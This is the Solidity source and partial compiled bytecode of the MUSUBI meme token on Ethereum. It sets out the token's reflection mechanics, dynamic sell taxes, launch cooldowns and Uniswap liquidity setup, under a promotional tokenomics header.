/** * __ __ __ __ _______ __ __ _______ ___ * | |_| || | | || || | | || _ || | * | || | | || _____|| | | || |_| || | * | || |_| || |_____ | |_| || || | * | || ||_____ || || _ | | | * | ||_|| || | _____| || || |_| || | * |_| |_||_______||_______||_______||_______||___| * MUSUBI * https://t.me/musubi_token * musubitoken.com * twitter.com/MusubiToken * * MUSUBI is a meme token with a twist! * MUSUBI has no sale limitations, which benefits whales and minnows alike, and an innovative dynamic reflection tax rate which increases proportionate to the size of the sell. * * TOKENOMICS: * 1,000,000,000,000 token supply * FIRST TWO MINUTES: 3,000,000,000 max buy / 45-second buy cooldown (these limitations are lifted automatically two minutes post-launch) * 15-second cooldown to sell after a buy, in order to limit bot behavior. NO OTHER COOLDOWNS, NO COOLDOWNS BETWEEN SELLS * No buy or sell token limits. Whales are welcome! * 10% total tax on buy * Fee on sells is dynamic, relative to price impact, minimum of 10% fee and maximum of 40% fee, with NO SELL LIMIT. * No team tokens, no presale * A unique approach to resolving the huge dumps after long pumps that have plagued every NotInu fork * * SPDX-License-Identifier: UNLICENSED */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract MUSUBI is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"Musubi"; string private constant _symbol = unicode"MUSUBI"; uint8 private constant _decimals = 9; uint256 private _taxFee = 6; uint256 private _teamFee = 4; uint256 private _feeRate = 5; uint256 private _feeMultiplier = 1000; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _maxBuyAmount; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private _cooldownEnabled = true; bool private inSwap = false; bool private _useImpactFeeSetter = true; uint256 private buyLimitEnd; struct User { uint256 buy; uint256 sell; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function setFee(uint256 impactFee) private { uint256 _impactFee = 10; if(impactFee < 10) { _impactFee = 10; } else if(impactFee > 40) { _impactFee = 40; } else { _impactFee = impactFee; } if(_impactFee.mod(2) != 0) { _impactFee++; } _taxFee = (_impactFee.mul(6)).div(10); _teamFee = (_impactFee.mul(4)).div(10); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { if(_cooldownEnabled) { if(!cooldown[msg.sender].exists) { cooldown[msg.sender] = User(0,0,true); } } // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); _taxFee = 6; _teamFee = 4; if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { require(amount <= _maxBuyAmount); require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired."); cooldown[to].buy = block.timestamp + (45 seconds); } } if(_cooldownEnabled) { cooldown[to].sell = block.timestamp + (15 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair && tradingOpen) { if(_cooldownEnabled) { require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired."); } if(_useImpactFeeSetter) { uint256 feeBasis = amount.mul(_feeMultiplier); feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount)); setFee(feeBasis); } if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 3000000000 * 10**9; _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; buyLimitEnd = block.timestamp + (120 seconds); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } // fallback in case contract is not releasing tokens fast enough function setFeeRate(uint256 rate) external { require(_msgSender() == _FeeAddress); require(rate < 51, "Rate can't exceed 50%"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].buy; } function timeToSell(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].sell; } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610423578063c3c8cd8014610460578063c9567bf914610477578063db92dbb61461048e578063dd62ed3e146104b9578063e8078d94146104f657610140565b8063715018a61461034e5780638da5cb5b1461036557806395d89b4114610390578063a9059cbb146103bb578063a985ceef146103f857610140565b8063313ce567116100fd578063313ce5671461024057806345596e2e1461026b5780635932ead11461029457806368a3a6a5146102bd5780636fc3eaec146102fa57806370a082311461031157610140565b806306fdde0314610145578063095ea7b31461017057806318160ddd146101ad57806323b872dd146101d857806327f3a72a1461021557610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61050d565b60405161016791906130da565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612bf8565b61054a565b6040516101a491906130bf565b60405180910390f35b3480156101b957600080fd5b506101c2610568565b6040516101cf91906132bc565b60405180910390f35b3480156101e457600080fd5b506101ff60048036038101906101fa9190612ba9565b610579565b60405161020c91906130bf565b60405180910390f35b34801561022157600080fd5b5061022a610652565b60405161023791906132bc565b60405180910390f35b34801561024c57600080fd5b50610255610662565b6040516102629190613331565b60405180910390f35b34801561027757600080fd5b50610292600480360381019061028d9190612c86565b61066b565b005b3480156102a057600080fd5b506102bb60048036038101906102b69190612c34565b610752565b005b3480156102c957600080fd5b506102e460048036038101906102df9190612b1b565b61084a565b6040516102f191906132bc565b60405180910390f35b34801561030657600080fd5b5061030f6108a1565b005b34801561031d57600080fd5b5061033860048036038101906103339190612b1b565b610913565b60405161034591906132bc565b60405180910390f35b34801561035a57600080fd5b50610363610964565b005b34801561037157600080fd5b5061037a610ab7565b6040516103879190612ff1565b60405180910390f35b34801561039c57600080fd5b506103a5610ae0565b6040516103b291906130da565b60405180910390f35b3480156103c757600080fd5b506103e260048036038101906103dd9190612bf8565b610b1d565b6040516103ef91906130bf565b60405180910390f35b34801561040457600080fd5b5061040d610b3b565b60405161041a91906130bf565b60405180910390f35b34801561042f57600080fd5b5061044a60048036038101906104459190612b1b565b610b52565b60405161045791906132bc565b60405180910390f35b34801561046c57600080fd5b50610475610ba9565b005b34801561048357600080fd5b5061048c610c23565b005b34801561049a57600080fd5b506104a3610ce7565b6040516104b091906132bc565b60405180910390f35b3480156104c557600080fd5b506104e060048036038101906104db9190612b6d565b610d19565b6040516104ed91906132bc565b60405180910390f35b34801561050257600080fd5b5061050b610da0565b005b60606040518060400160405280600681526020017f4d75737562690000000000000000000000000000000000000000000000000000815250905090565b600061055e6105576112b0565b84846112b8565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610586848484611483565b610647846105926112b0565b61064285604051806060016040528060288152602001613a1360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105f86112b0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4d9092919063ffffffff16565b6112b8565b600190509392505050565b600061065d30610913565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106ac6112b0565b73ffffffffffffffffffffffffffffffffffffffff16146106cc57600080fd5b6033811061070f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107069061319c565b60405180910390fd5b80600b819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600b5460405161074791906132bc565b60405180910390a150565b61075a6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107de906131fc565b60405180910390fd5b80601460156101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f28706601460159054906101000a900460ff1660405161083f91906130bf565b60405180910390a150565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001544261089a9190613482565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108e26112b0565b73ffffffffffffffffffffffffffffffffffffffff161461090257600080fd5b600047905061091081611db1565b50565b600061095d600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eac565b9050919050565b61096c6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f0906131fc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4d55535542490000000000000000000000000000000000000000000000000000815250905090565b6000610b31610b2a6112b0565b8484611483565b6001905092915050565b6000601460159054906101000a900460ff16905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015442610ba29190613482565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bea6112b0565b73ffffffffffffffffffffffffffffffffffffffff1614610c0a57600080fd5b6000610c1530610913565b9050610c2081611f1a565b50565b610c2b6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610caf906131fc565b60405180910390fd5b60016014806101000a81548160ff021916908315150217905550607842610cdf91906133a1565b601581905550565b6000610d14601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610da86112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2c906131fc565b60405180910390fd5b60148054906101000a900460ff1615610e83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7a9061327c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f1330601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112b8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f5957600080fd5b505afa158015610f6d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f919190612b44565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ff357600080fd5b505afa158015611007573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102b9190612b44565b6040518363ffffffff1660e01b815260040161104892919061300c565b602060405180830381600087803b15801561106257600080fd5b505af1158015611076573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109a9190612b44565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061112330610913565b60008061112e610ab7565b426040518863ffffffff1660e01b81526004016111509695949392919061305e565b6060604051808303818588803b15801561116957600080fd5b505af115801561117d573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111a29190612caf565b5050506729a2241af62c000060108190555042600d81905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161125a929190613035565b602060405180830381600087803b15801561127457600080fd5b505af1158015611288573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ac9190612c5d565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f9061325c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611398576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138f9061313c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161147691906132bc565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ea9061323c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611563576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155a906130fc565b60405180910390fd5b600081116115a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159d9061321c565b60405180910390fd5b6115ae610ab7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161c57506115ec610ab7565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c8a57601460159054906101000a900460ff161561172257600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff16611721576040518060600160405280600081526020016000815260200160011515815250600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff0219169083151502179055509050505b5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117cd5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118235750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119f65760148054906101000a900460ff16611875576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186c9061329c565b60405180910390fd5b60066009819055506004600a81905550601460159054906101000a900460ff161561198c5742601554111561198b576010548111156118b357600080fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e9061315c565b60405180910390fd5b602d4261194491906133a1565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b5b601460159054906101000a900460ff16156119f557600f426119ae91906133a1565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b6000611a0130610913565b9050601460169054906101000a900460ff16158015611a6e5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a84575060148054906101000a900460ff165b15611c8857601460159054906101000a900460ff1615611b235742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410611b22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b19906131bc565b60405180910390fd5b5b601460179054906101000a900460ff1615611bad576000611b4f600c548461221490919063ffffffff16565b9050611ba0611b9184611b83601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61228f90919063ffffffff16565b826122ed90919063ffffffff16565b9050611bab81612337565b505b6000811115611c6e57611c086064611bfa600b54611bec601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61221490919063ffffffff16565b6122ed90919063ffffffff16565b811115611c6457611c616064611c53600b54611c45601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61221490919063ffffffff16565b6122ed90919063ffffffff16565b90505b611c6d81611f1a565b5b60004790506000811115611c8657611c8547611db1565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d315750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d3b57600090505b611d47848484846123ee565b50505050565b6000838311158290611d95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8c91906130da565b60405180910390fd5b5060008385611da49190613482565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e016002846122ed90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e2c573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e7d6002846122ed90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ea8573d6000803e3d6000fd5b5050565b6000600754821115611ef3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eea9061311c565b60405180910390fd5b6000611efd61241b565b9050611f1281846122ed90919063ffffffff16565b915050919050565b6001601460166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f78577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611fa65781602001602082028036833780820191505090505b5090503081600081518110611fe4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561208657600080fd5b505afa15801561209a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120be9190612b44565b816001815181106120f8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061215f30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b8565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121c39594939291906132d7565b600060405180830381600087803b1580156121dd57600080fd5b505af11580156121f1573d6000803e3d6000fd5b50505050506000601460166101000a81548160ff02191690831515021790555050565b6000808314156122275760009050612289565b600082846122359190613428565b905082848261224491906133f7565b14612284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227b906131dc565b60405180910390fd5b809150505b92915050565b600080828461229e91906133a1565b9050838110156122e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122da9061317c565b60405180910390fd5b8091505092915050565b600061232f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612446565b905092915050565b6000600a9050600a82101561234f57600a9050612366565b60288211156123615760289050612365565b8190505b5b600061237c6002836124a990919063ffffffff16565b1461239057808061238c90613550565b9150505b6123b7600a6123a960068461221490919063ffffffff16565b6122ed90919063ffffffff16565b6009819055506123e4600a6123d660048461221490919063ffffffff16565b6122ed90919063ffffffff16565b600a819055505050565b806123fc576123fb6124f3565b5b612407848484612536565b8061241557612414612701565b5b50505050565b6000806000612428612715565b9150915061243f81836122ed90919063ffffffff16565b9250505090565b6000808311829061248d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161248491906130da565b60405180910390fd5b506000838561249c91906133f7565b9050809150509392505050565b60006124